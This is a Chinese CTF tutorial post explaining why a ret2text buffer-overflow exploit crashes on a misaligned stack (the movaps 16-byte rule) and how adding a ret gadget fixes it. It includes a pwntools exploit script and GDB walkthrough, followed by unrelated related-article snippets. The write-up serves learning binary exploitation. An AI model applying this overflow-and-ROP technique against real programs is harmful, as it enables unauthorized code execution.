在Pwn中,为什么时长需要栈对齐?

Index

  • 介绍
  • 知识要点
  • 正文

介绍

在 Pwn 的学习中,对于初学者常常会遇到这个问题:
找到了溢出点,并且知道如何溢出,但是不知道为什么自己的Payload并没有成功,Pwntools报错EOF:
在这里插入图片描述
今天趁着有时间,来仔细研究一下为什么会发生这种情况。

知识要点

xmm 寄存器要求内存地址对齐,对齐由内存位数决定,本文中为16字节对齐。

正文

首先我随手拽了一题很简单的ret2text。
FindanotherWay

在这里插入图片描述
可以看到是真的基础的那种。然后我们使用EXP:

from PwnModules import *

binary = './FindanotherWay'
io = process(binary)
#io = remote('node5.anna.nssctf.cn', 28852)
elf = ELF(binary)

Padding = b'A' * (12 + 0x08)

# 0x401230 是本题的backdoor函数。
Payload = Padding + p64(0x401230)

debug(io)
io.sendline(Payload)

io.interactive()

然后就EOF了,为什么呢?
打开GDB,开始逐步调试:
在这里插入图片描述
在还没执行read函数之前是这样的,然后我们调试到下一步。(中间跳过了几步,因为我觉得没啥必要)
在这里插入图片描述
可以看到现在我们的RBX已经被Payload覆盖。
这是即将执行system(‘/bin/sh’)的时候:
在这里插入图片描述
可以看到似乎没有什么异常情况,RDI寄存器的值是/bin/sh,RAX寄存器也为0,而看起来同样的这段就能正确执行
在这里插入图片描述

继续执行,程序会抛出SIGSEGV错误,卡在指令:在这里插入图片描述
在这里插入图片描述
movaps xmmword ptr [rsp + 0x50], xmm0 处。
通过谷歌我们可以得知:
x86 Instruction Set Reference

When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.

当操作数或源操作数是内存地址时,内存地址必须为16字节对齐。(不固定,但是这个情况是16字节对齐。)

看看参数部分:[rsp + 0x50], xmm0
在这里插入图片描述
很显然我们的rsp不是16字节对齐的,16字节对齐的意思就是地址末尾以0结束,比如上文中的0x7ffc685c2970,就是以0结尾的。
也就是说,我们需要使我们的RSP地址16字节对齐才能成功执行这段语句:movaps xmmword ptr [rsp + 0x50], xmm0
回过来,我们提到了ret。那么ret的作用是什么呢?
正常函数一般逻辑是这样的:

endbr64
push    rbp
mov     rbp, rsp
lea     rdi, aCongratulation ; "Congratulations , now you find another "...
call    _puts
lea     rdi, aHereIsMyGiftEn ; "Here is my gift , enjoy yourself"
call    _puts
lea     rdi, command    ; "/bin/sh"
mov     eax, 0
call    _system
nop
pop     rbp
retn

返回地址与ret是如何处理的呢?
是这样的:
call和ret的实现逻辑可以大概视为进行了这样的操作(严格来说是错误的,只是实际上实现了差不多的逻辑。):

# call
push rip
jmp addr

# ret
pop rip
jump rip

我们尝试在Payload中加上ret指令。
在这里插入图片描述
可以发现变成了这样,执行了2遍ret。
在这里插入图片描述
并且这个操作不会影响我们的ROP链的执行,因为相当于原地踏步了一次,同时还对齐了RSP地址。
在这里插入图片描述
因此最简单的栈对齐方式就是通过添加一个ret gadget。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/226094.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C++ 指针进阶

目录 一、字符指针 二、指针数组 三、数组指针 数组指针的定义 &数组名 与 数组名 数组指针的使用 四、数组参数 一维数组传参 二维数组传参 五、指针参数 一级指针传参 二级指针传参 六、函数指针 七、函数指针数组 八、指向函数指针数组的指针 九、回调函…

HBase 使用JDK21

HBase 使用JDK21 启动zookeeper和hadoop 创建软件目录 mkdir -p /opt/soft cd /opt/soft下载软件 wget https://dlcdn.apache.org/hbase/2.5.6/hbase-2.5.6-hadoop3-bin.tar.gz解压 hbase tar -zxvf hbase-2.5.6-hadoop3-bin.tar.gz修改 hbase 目录名称 mv hbase-2.5.6-had…

圣诞将至—C语言圣诞树代码来啦

文章目录 圣诞将至—C实现语言圣诞树源码 圣诞将至—C实现语言圣诞树 圣诞树 源码 #define _CRT_SECURE_NO_WARNINGS#include <stdio.h> #include <math.h> #include <stdlib.h> #include <windows.h> #include <time.h> #define PI 3.14159265…

深眸科技以机器视觉高性能优势,为消费电子行业提供优质解决方案

机器视觉技术近年来发展迅速&#xff0c;基于计算机对图像的处理与分析&#xff0c;能够识别和辨别目标物体&#xff0c;被广泛应用于人工智能、智能制造等领域。 机器视觉凭借着高精度、高效率、灵活性和可靠性等优势&#xff0c;不断推进工业企业生产自动化和智能化进程&…

论ChatGPT让程序员提升效率—掌握时代工具风口修炼之道【文末送书-02】

文章目录 一.论ChatGPT让程序员提升效率—掌握时代工具风口修炼之道二.ChatGPT在代码编写中的应用2.1 快速解决问题&#xff1a;2.2 优化代码结构&#xff1a;2.3 ChatGPT的学习过程2.4 ChatGPT的自定义训练 三.文末推荐与福利免费包邮送出4本&#xff01;3.2领书方式 一.论Cha…

java群聊聊天程序

先运行服务端&#xff0c;如果不先连接服务端&#xff0c;就不监听&#xff0c;那客户端不知道连接谁 服务端 import java.io.*; import java.net.*; import java.util.ArrayList; public class QLFWD{public static ServerSocket server_socket;public static ArrayList<S…

力扣刷题day3(移除元素,找出字符串中的第一个不匹配项的下标,搜索插入位置)

题目1&#xff1a;27.移除元素 思路1和代码&#xff1a; //由于题目要求删除数组中等于 val\textit{ val }val 的元素&#xff0c;因此输出数组的长度一定小于等于输入数组的长度&#xff0c;我们可以把输出的数组直接写在输入数组上。可以使用双指针&#xff1a;右指针 righ…

“掌握高效视频分割技巧,降低误差,提高精度“

如果你是一名视频编辑爱好者或者专业人士&#xff0c;那么你一定会在视频剪辑的过程中遇到各种挑战。其中&#xff0c;如何准确高效地进行视频分割是一个至关重要的问题。现在&#xff0c;我们将向你展示一种全新的解决方案&#xff0c;帮助你轻松解决这些问题。 首先第一步&a…

灯塔资产管理系统魔改版搭建(ARL-Puls)

免责声明 文章仅做经验分享用途&#xff01;利用本文章所提供的信息而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;作者不为此承担任何责任&#xff0c;一旦造成后果请自行承担&#xff01;&#xff01;&#xff01; 简介 ARL-Puls是基于斗…

pycharm使用Anaconda中的虚拟环境【我的入门困惑二】

Anaconda的作用 Anaconda的存在&#xff0c;使得一台电脑上可以存在多个不同版本的python和相应的包&#xff0c;这解决了多个项目运行时&#xff0c;所需要的python和包版本不同的问题。 本文内容 今天就来简单说说如何在pycharm使用Anaconda中的虚拟环境。 详细介绍 首先…

Linux | tar,bc,uname指令

Linux | tar,bc,uname指令 文章目录 Linux | tar,bc,uname指令tar指令【重要】bc指令uname –r指令 tar指令【重要】 tar [-cxtzjvf] 文件与目录 … 参数&#xff1a; -c &#xff1a;建立一个压缩文件的参数指令(create 的意思)&#xff1b;-x &#xff1a;解开一个压缩文件的…

静态住宅代理IP怎么用?有何优势?

在全球互联网的广阔天地里&#xff0c;网络地理限制常常成为用户访问不同国家和地区内容的障碍。这时&#xff0c;住宅代理IP显得尤为重要。住宅代理IP&#xff0c;顾名思义&#xff0c;是指那些直接分配给家庭宽带用户的IP地址。与数据中心IP或商业IP相比&#xff0c;它们更能…

iOS-打包上架构建版本一直不出现

iOS开发过程中&#xff0c;打包上架苹果审核是一个不可或缺的环节。说实话&#xff0c;这个问题我遇见两次了&#xff0c;为了让自己长点记性&#xff0c;决定写下来。首先&#xff0c;列举几种情况&#xff1a; 1.iPa包上传至App store后&#xff0c;一个小时内不显示构建版本…

springboot3.0更新后,idea创建springboot2.x项目

springboot3.0更新后&#xff0c;idea创建springboot2.x项目 点击以下红色框中的按钮 出现了如下图所示&#xff1a; 到这里我们发现没有jdk8的版本&#xff0c;不要慌&#xff0c;我们可以先在这里选择21&#xff0c;然后进入到真正的项目中手动去修改这个jdk的版本&#xff0…

【JavaScript】JS——Map数据类型

【JavaScript】JS——Map数据类型 什么是Map?特性Map与Object的比较 map的创建map的属性map相关方法map的遍历 什么是Map? 存储键值对的对象。 能够记住键的原始插入顺序任何值&#xff08;对象或原始值&#xff09;都可以作为键或值。 特性 Map中的一个键只能出现一次&am…

VBA技术资料MF93:将多个Excel表插入PowerPoint不同位置

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。我的教程一共九套&#xff0c;分为初级、中级、高级三大部分。是对VBA的系统讲解&#xff0c;从简单的入门&#xff0c;到…

11月榜单亮点:单场直播GMV超过5亿,30+达人粉丝增长100万人

11月&#xff0c;在双11好物节的加持下&#xff0c;品牌商家业绩再创新高。 数据报告显示&#xff0c;10月20日至11月11日&#xff0c;抖音商城GMV同比增长119%&#xff0c;直播间累计时长达到5827万小时&#xff0c;越来越多的用户正通过抖音参与双11购物狂潮&#xff0c;而越…

科技云报道:AI+PaaS,中国云计算市场迎来新“变量”?

科技云报道原创。 没有小的市场&#xff0c;只有还没有被发现的大生意。 随着企业数字化转型的逐级深入&#xff0c;市场需求进一步向PaaS和SaaS层进发&#xff0c;使之成为公有云服务市场增长的主要动力。 根据IDC最新发布的报告显示&#xff0c;2022-2027五年间中国公有云…

家政预约小程序带商城,图文详解

家政预约小程序开发&#xff0c;在线选择服务分类&#xff0c;选择上门时间&#xff0c;提交订单&#xff0c;在线支付。 商城模块&#xff1a;商品分类&#xff0c;在线下单支付。 个人中心&#xff1a;订单管理&#xff08;家政订单&#xff0c;搬家订单&#xff0c;商品订…

【计算机网络实验】实验三 IP网络规划与路由设计(头歌)

目录 一、知识点 二、实验任务 三、头歌测试 一、知识点 IP子网掩码的两种表示方法 32位IP子网掩码&#xff0c;特点是从高位开始连续都是1&#xff0c;后面是连续的0&#xff0c;它有以下两种表示方法&#xff1a; 传统表示法&#xff0c;如&#xff1a;255.255.255.0IP前…